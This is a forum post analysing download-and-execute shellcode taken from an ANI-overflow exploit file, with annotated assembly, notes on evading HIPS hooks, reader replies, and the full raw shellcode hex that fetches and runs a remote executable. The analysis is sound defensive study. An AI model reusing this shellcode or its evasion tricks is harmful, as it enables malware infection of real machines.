首页
论坛
专栏
课程

[原创]一份shellcode的详细分析

2007-6-9 23:30 11768

[原创]一份shellcode的详细分析

2007-6-9 23:30
11768
这是从一个ani溢出攻击的xxx.ani文件中提取出来的一份shellcode,做了下分析
这里,先要谢谢forgot,解答我关于pPEB>0x80000000的问题,原来是检测win9x用的,谢谢
好了,进入正题吧

02A200AC  mov     ebp, esp
02A200AE  mov     edx, fs:[30]          ; pPeb
02A200B5  lea     edx, [edx+3]          ; pPeb->SpareBool
02A200B8  cmp     byte ptr [edx], 1     ; 判断shellcode是否已运行
02A200BB  je      02A20189
02A200C1  mov     byte ptr [edx], 1     ; 设置shellcode已运行
02A200C4  call    02A20214              ; FARPROC Get_GlobalAlloc_Addr()
; { 
[COLOR="blue"] 
  02A20214  call    02A20278            ; HMODULE GetBase_Kernel32()		
  ; {[/COLOR]
[COLOR="red"]
    02B20278  xor     eax, eax
    02B2027A  mov     eax, fs:[eax+30]  ; pPeb
    02B2027E  test    eax, eax
    02B20280  js      short 02B20292    ; if (pPeb>0x80000000)==>if (win9x),thx forgot!
    02B20282  mov     eax, [eax+C]      ; pPeb->pPEB_LDR_DATA
    02B20286  mov     esi, [eax+1C]     ; pPEB_LDR_DATA->InInitializationOrderModuleList
    02B2028A  lods    dword ptr [esi]	
    02B2028B  mov     eax, [eax+8]      ; pBase_Kernel32
    02B2028F  retn
    02B20290  jmp     short 02B2029D
    02B20292  mov     eax, [eax+34]     ; win9x,pPeb->pEventLog
    02B20296  add     eax, 7C		
    02B20299  mov     eax, [eax+3C]     ; *(pEventLog+0x7c+0x3c),可能是win9x下pBase_Kernel32
    02B2029D  retn [/COLOR]
[COLOR="blue"]
  ; }
  02A20219  push    0C0397EC            ; hash Of "GlobalAlloc"
  02A2021E  push    eax                 ; pBase_Kernel32
  02A2021F  call    02A2029E            ; FARPROC GetProcAddr(HMODULE hModule,unsigned long hash)		
  ; {  [/COLOR]
[COLOR="red"]
    02B2029E  pushad
    02B2029F  mov     ebp, [esp+24]     ; pBase_Kernel32,pIMAGE_DOS_HEADER
    02B202A4  mov     eax, [ebp+3C]     ; pIMAGE_DOS_HEADER->e_lfanew
    02B202A8  mov     edx, [ebp+eax+78] ; pIMAGE_OPTIONAL_HEADER+0x78==pIMAGE_EXPORT_DIRECTORY RVA
    02B202AD  add     edx, ebp          ; RVA to VA 
    02B202AF  mov     ecx, [edx+18]     ; NumberOfNames
    02B202B3  mov     ebx, [edx+20]     ; AddressOfNames RVA
    02B202B7  add     ebx, ebp          ; RVA to VA
    02B202B9  jecxz   short 02B202F5    ; if (NumberOfNames==0)
    02B202BB  dec     ecx		
    02B202BC  mov     esi, [ebx+ecx*4]  ; 
    02B202C0  add     esi, ebp          ; szExportFunName

    ; 下面开始逐个算输出表中函数名hash,再与所搜索函数的hash比较
    02B202C2  xor     edi, edi          ;---------GetHash-------------------| 	
    02B202C4  xor     eax, eax          ; unsigned long hash=0;             |
    02B202C6  cld                       ; char* pCh=(char*)szExportFunName; |
    02B202C7  lods    byte ptr [esi]    ; while (*pCh)                      |
    02B202C8  test    al, al            ; {                                 |
    02B202CA  je      short 02B202D3    ;   hash=(hash>>0x0d) + *pCh++;     |
    02B202CC  ror     edi, 0D           ; }                                 |
    02B202CF  add     edi, eax          ;                                   |
    02B202D1  jmp     short 02B202C7    ;-----------------------------------| 
    02B202D3  cmp     edi, [esp+28]     ; if (hash==hash_GlobalAlloc)
    02B202D8  jnz     short 02B202B9    
    02B202DA  mov     ebx, [edx+24]     ; AddressOfNameOrdinals RVA
    02B202DE  add     ebx, ebp          ; RVA to VA
    02B202E0  mov     cx, [ebx+ecx*2]   ; FunctionOrdinal
    02B202E5  mov     ebx, [edx+1C]     ; AddressOfFunctions RVA
    02B202E9  add     ebx, ebp          ; RVA to VA
    02B202EB  mov     eax, [ebx+ecx*4]  ; FunctionAddr RVA
    02B202EF  add     eax, ebp          ; pFun_API
    02B202F1  mov     [esp+1C], eax
    02B202F6  popad
    02B202F7  retn                      ; return pFun_API[/COLOR]
[COLOR="blue"]
  ; }
  02A20224  add     esp, 8
  02A20227  retn [/COLOR]
; }
02A200C9  push    300                   ; MemSize = 0x300
02A200CE  push    0                     ; Flags = GMEM_FIXED
02A200D0  call    eax                   ; kernel32.GlobalAlloc
029F00D2  mov     ecx, 300              ; 下面的copy计数器
029F00D7  mov     edi, eax              ; pBase_Heap
029F00D9  jmp     short 029F00E0
029F00DB  pop     esi                   ; 获取地址至esi

; 将esi指向的代码copy至刚申请的heap空间中                    
029F00DC  rep     movs byte ptr es:[edi], byte ptr [esi]	
029F00DE  call    eax                   ; 跳至heap空间中执行,eax==0x194E30
029F00E0  call    029F00DB              ; 定位下一句
029F00E5  jmp     short 029F00FE
 
; heap空间中
00194E30  jmp     short 00194E49
...
00194E49  jmp     00195043
...
00195043  call    00194E4E
; {
[COLOR="blue"] 
  00194E4E  pop     ebx         ; "hTTp://www.xxx.com/xxx.exe"
  00194E4F  sub     esp, 114
  00194E55  mov     edx, esp
  00194E57  mov     dword ptr [edx], 20646D63   ;  
  00194E5E  mov     dword ptr [edx+4], 2220632F ; cmd /c "
  00194E66  add     edx, 8
  00194E69  xor     eax, eax
  00194E6B  push    eax         ; IBindStatusCallback *pBSC
  00194E6C  push    eax         ; dwReserved
  00194E6D  push    104         ; dwBufLength=0x104
  00194E72  push    edx         ; szFileName
  00194E73  push    ebx         ; szURL->"hTTp://www.xxx.com/xxx.exe"
  00194E74  push    eax         ; lpUnkcaller=NULL,非ActiveX组件
  00194E75  call    00194F9B    ; Get_URLDownloadToCacheFileA_Addr()
  ; {[/COLOR]
[COLOR="red"]
    00194F9B  call    00194EED  ; GetBase_urlmon_dll();
    ; {[/COLOR]
[COLOR="Green"]      
      00194EED  push    6E6F            ; 
      00194EF2  push    6D4C7275        ; "urLmon"
      00194EF7  jmp     short 00194F0B  ; 跳去,再call回下一行,则压入了LoadLibraryA返回地址
      00194EF9  lea     eax, [esp+4]
      00194EFD  push    eax             ; "urLmon",LoadLibraryA的参数
      00194EFE  call    00194E32
      ; {[/COLOR]
[COLOR="magenta"]
        00194E32  push    edi           ; pBase_Heap+0x300 非参数,只是保存
        00194E33  call    00194FC3      ; HMODULE GetBase_Kernel32()
        00194E38  mov     edi, eax      ; pBase_Kernel32
        00194E3A  xor     ecx, ecx
        00194E3C  dec     ecx           ; ecx==4 GB
        00194E3D  xor     eax, eax
        00194E3F  mov     al, 0C3
        00194E41  cld
        ; 在Kernel32.dll中查找0xC3,即找一个retn指令
        00194E42  repne   scas byte ptr es:[edi] 
        00194E44  lea     eax, [edi-1]  ; Addr of retn
        00194E47  pop     edi
        00194E48  retn [/COLOR]
[COLOR="Green"]
      ; }
      00194F03  push    eax             ; Addr of retn,做jmp到LoadLibraryA时的返回地址
      00194F04  call    00194FAF        ; FARPROC Get_LoadLibraryA_Addr()     
      ; {[/COLOR]
[COLOR="magenta"]
        00194FAF  call    00194FC3      ; HMODULE GetBase_Kernel32()
        00194FB4  push    EC0E4E8E      ; hash Of "LoadLibraryA"
        00194FB9  push    eax           ; pBase_Kernel32
        00194FBA  call    00194FE9      ; FARPROC GetProcAddr(hModule, hash)
        00194FBF  add     esp, 8
        00194FC2  retn [/COLOR]
[COLOR="Green"]
      ; }
      00194F09  jmp     short 00194ED7              ; pFun=pLoadLibraryA
      ;
      00194ED7  cmp     byte ptr [eax], 55          ; if ((char *)pFun==0x55),即push ebp
      00194EDA  je      short 00194EEB
      00194EDC  cmp     dword ptr [eax+5], 90909090 ; if (nop)
      00194EE3  je      short 00194EEB
      00194EE5  push    ebp			
      00194EE6  mov     ebp, esp
      00194EE8  lea     eax, [eax+5]
      00194EEB  jmp     eax           ; jmp (LoadLibraryA+5), LoadLibraryA("urLmon")[/COLOR]
[COLOR="magenta"]
      ; 看下这时的堆栈
      ;0012CE80   0012CFD0  ebp
      ;0012CE84   4FAD102D  kernel32.4FAD102D==> retn->-|
      ;0012CE88   0012CE90  ASCII "urLmon"              v
      ;0012CE8C   00194F10  返回到 00194F10 <---<<------|             
      ;...
      00194F0B  call    00194EF9
      00194F10  add     esp, 8          ; LoadLibraryA返回后到这里
      00194F13  retn [/COLOR]
[COLOR="red"]
    ; }
    00194FA0  push    54FEF4F           ; hash Of "URLDownloadToCacheFileA"	
    00194FA5  push    eax               ; pBase_urlmon_dll
    00194FA6  call    00194FE9          ; FARPROC GetProcAddr(hModule, hash)
    00194FAB  add     esp, 8
    00194FAE  retn [/COLOR]
[COLOR="blue"]
  ; }
  00194E7A  call    eax                 ; urlmon.URLDownloadToCacheFileA [/COLOR]

[COLOR="magenta"] 
  ; 终于要下木马了,来看看这时的堆栈
  ; call urlmon.URLDownloadToCacheFileA
  ;0012CE9C   00194E7C  返回到 00194E7C
  ;0012CEA0   00000000  LPUNKNOWN lpUnkcaller,非ActiveX组件
  ;0012CEA4   00195048  LPCSTR szURL->hTTp://www.xxx.com/xxx.exe
  ;0012CEA8   0012CEC0  LPTSTR szFileName,(szFileName-8)->cmd /c "
  ;0012CEAC   00000104  DWORD dwBufLength
  ;0012CEB0   00000000  DWORD dwReserved
  ;0012CEB4   00000000  IBindStatusCallback *pBSC [/COLOR]
[COLOR="blue"]
  00194E7C  mov     edi, esp    ; cmd /c"C:\Docume~1\admin\...\xxx[1].htm
  00194E7E  mov     eax, edi	
  00194E80  add     eax, 8      ; szFileName->"C:\Docume~1\admin\...\xxx[1].htm"
  00194E83  mov     bl, [eax]           ;---------------------------|
  00194E86  test    bl, bl              ;                           |                 
  00194E88  je      short 00194E8D      ; while (*(char*)szFileName)|
  00194E8A  inc     eax                 ;     szFileName++;         |
  00194E8B  jmp     short 00194E83      ;---------------------------|
  00194E8D  mov     byte ptr [eax], 22  ; 字符串末尾加"号,构成完整命令
  00194E91  xor     edx, edx
  00194E93  mov     [eax+1], dl         ; 填0截断字符串
  00194E97  sub     esp, 54		
  00194E9A  xor     eax, eax
  00194E9C  xor     ebx, ebx
  00194E9E  mov     ecx, esp
  00194EA0  cmp     eax, 54             ;---------------------------|
  00194EA3  jge     short 00194EAE      ;                           |
  00194EA5  mov     [ecx+eax], ebx      ;   MemZero                 |
  00194EA9  add     eax, 4              ;                           |
  00194EAC  jmp     short 00194EA0      ;---------------------------|
  00194EAE  mov     ecx, esp
  00194EB0  mov     ebx, ecx
  00194EB2  add     ebx, 10
  00194EB5  xor     eax, eax
  00194EB7  mov     dword ptr [ebx+2C], 1 ; STARTF_USESHOWWINDOW
  00194EBF  push    ecx         ; lpProcessInfo
  00194EC0  push    ebx         ; lpStartupInfo
  00194EC1  push    eax         ; lpCurrentDirectory==NULL
  00194EC2  push    eax         ; lpEnvironment
  00194EC3  push    eax         ; dwCreationFlags
  00194EC4  push    eax         ; bInheritHandles
  00194EC5  push    eax         ; lpThreadAttributes
  00194EC6  push    eax         ; lpProcessAttributes
  00194EC7  push    edi         ; lpCommandLine->cmd /c"C:\...\xxx[1].htm
  00194EC8  push    eax         ; lpApplicationName
  00194EC9  call    00194F87    ; FARPROC Get_CreateProcessA_Addr()
  
  ; 同上call LoadLibraryA,先检查头几个字节,再跳去CreateProcessA
  00194ECE  call    00194ED7    ; CreateProcessA

  ; 启动完成,木马开始执行,好了,抛个eip=0 的执行错误88了
  00194ED3  nop
  00194ED4  push    0
  00194ED6  retn [/COLOR]
; }


这份shellcode在没有打ani补丁的xpsp2中可以顺利执行,但是在sp1中失败(我的sp1中,可能打过不同补丁情况会不一样),原因出在调用LoadLibraryA时,它先检测LoadLibraryA头几个个字节,以决定是否要自己保存ebp
00194ED7  cmp     byte ptr [eax], 55 ; if ((char *)pLoadLibraryA==0x55),即push ebp
00194EDA  je      short 00194EEB
00194EDC  cmp     dword ptr [eax+5], 90909090 ; if (nop)
00194EE3  je      short 00194EEB
00194EE5  push    ebp			
00194EE6  mov     ebp, esp
00194EE8  lea     eax, [eax+5]
00194EEB  jmp     eax		; jmp (LoadLibraryA+5), LoadLibraryA("urLmon")[/COLOR]


sp2中,LoadLibraryA 开始几行为
mov	edi,edi
push    ebp			
mov     ebp, esp
cmp     dword ptr [ebp+8], 0


但是,在sp1中(我的sp1 (-_-! ),LoadLibraryA 第一行既是
cmp     dword ptr [esp+4], 0

并没有保存push ebp

这样shellcode加了push ebp导致堆栈不平衡,于是整段shellcode就夭折了
可见,这段shellcode通用性好像不太强,好像只能在xpsp2下执行的

附上shellcode

8B EC 64 8B 15 30 00 00 00 8D 52 03 80 3A 01 0F 84 C8 00 00 00 C6 02 01 E8 4B 01 00 00 68 00 03
00 00 6A 00 FF D0 B9 00 03 00 00 8B F8 EB 05 5E F3 A4 FF D0 E8 F6 FF FF FF EB 17 57 E8 8B 01 00
00 8B F8 33 C9 49 33 C0 B0 C3 FC F2 AE 8D 47 FF 5F C3 E9 F5 01 00 00 5B 81 EC 14 01 00 00 8B D4
3E C7 02 63 6D 64 20 3E C7 42 04 2F 63 20 22 83 C2 08 33 C0 50 50 68 04 01 00 00 52 53 50 E8 21
01 00 00 FF D0 8B FC 8B C7 83 C0 08 3E 8A 18 84 DB 74 03 40 EB F6 3E C6 00 22 33 D2 3E 88 50 01
83 EC 54 33 C0 33 DB 8B CC 83 F8 54 7D 09 3E 89 1C 01 83 C0 04 EB F2 8B CC 8B D9 83 C3 10 33 C0
3E C7 43 2C 01 00 00 00 51 53 50 50 50 50 50 50 57 50 E8 B9 00 00 00 E8 04 00 00 00 90 6A 00 C3
80 38 55 74 0F 81 78 05 90 90 90 90 74 06 55 8B EC 8D 40 05 FF E0 68 6F 6E 00 00 68 75 72 4C 6D
EB 12 8D 44 24 04 50 E8 2F FF FF FF 50 E8 A6 00 00 00 EB CC E8 E9 FF FF FF 83 C4 08 C3 6A 6C 68
6E 74 64 6C EB 12 8D 44 24 04 50 E8 0B FF FF FF 50 E8 82 00 00 00 EB A8 E8 E9 FF FF FF 83 C4 08
C3 68 33 32 32 32 68 75 73 65 72 EB 12 8D 44 24 04 50 E8 E4 FE FF FF 50 E8 5B 00 00 00 EB 81 E8
E9 FF FF FF 83 C4 08 C3 E8 5F 00 00 00 68 EC 97 03 0C 50 E8 7A 00 00 00 83 C4 08 C3 E8 4B 00 00
00 68 AA FC 0D 7C 50 E8 66 00 00 00 83 C4 08 C3 E8 37 00 00 00 68 72 FE B3 16 50 E8 52 00 00 00
83 C4 08 C3 E8 4D FF FF FF 68 4F EF 4F 05 50 E8 3E 00 00 00 83 C4 08 C3 E8 0F 00 00 00 68 8E 4E
0E EC 50 E8 2A 00 00 00 83 C4 08 C3 33 C0 64 8B 40 30 85 C0 78 10 3E 8B 40 0C 3E 8B 70 1C AD 3E
8B 40 08 C3 EB 0B 3E 8B 40 34 83 C0 7C 3E 8B 40 3C C3 60 36 8B 6C 24 24 36 8B 45 3C 36 8B 54 05
78 03 D5 3E 8B 4A 18 3E 8B 5A 20 03 DD E3 3A 49 3E 8B 34 8B 03 F5 33 FF 33 C0 FC AC 84 C0 74 07
C1 CF 0D 03 F8 EB F4 36 3B 7C 24 28 75 DF 3E 8B 5A 24 03 DD 66 3E 8B 0C 4B 3E 8B 5A 1C 03 DD 3E
8B 04 8B 03 C5 36 89 44 24 1C 61 C3 E8 06 FE FF FF 68 54 54 70 3A 2F 2F 77 77 77 2E 68 61 63 6B
65 72 65 78 70 2E 63 6E 2F 73 77 6F 72 64 2E 65 78 65 00


[公告] 防守篇征题进行中!看雪2020 KCTF春季赛防守方征题中 !

最新回复 (8)
yingyue 2007-6-10 09:03
2
0
哦,深奥,不懂,有原件吗?
foxabu 13 2007-6-10 15:27
3
0
不错,顶了.
shrift 2007-6-10 16:20
4
0
完全不懂,大汗!
peaceclub 6 2007-6-10 16:41
5
0
恩。这里面LoadLibraryA,UrlDownLoadToFileA都是jmp offset+5,是为了躲避相关HIPS的检查,譬如瑞星卡卡。
不懂算法 2 2007-6-10 18:20
6
0
8错,很详尽的分析
愤怒菜板 2007-6-15 16:56
7
0
写的不错,
aki 2 2007-6-15 18:45
8
0
00194EDC  cmp     dword ptr [eax+5], 90909090 ; if (nop)
00194EE3  je      short 00194EEB

这里貌似是判断卡巴是否存在
岭南散人 1 2011-12-9 19:43
9
0
简单地调了下
游客
登录 | 注册 方可回帖
返回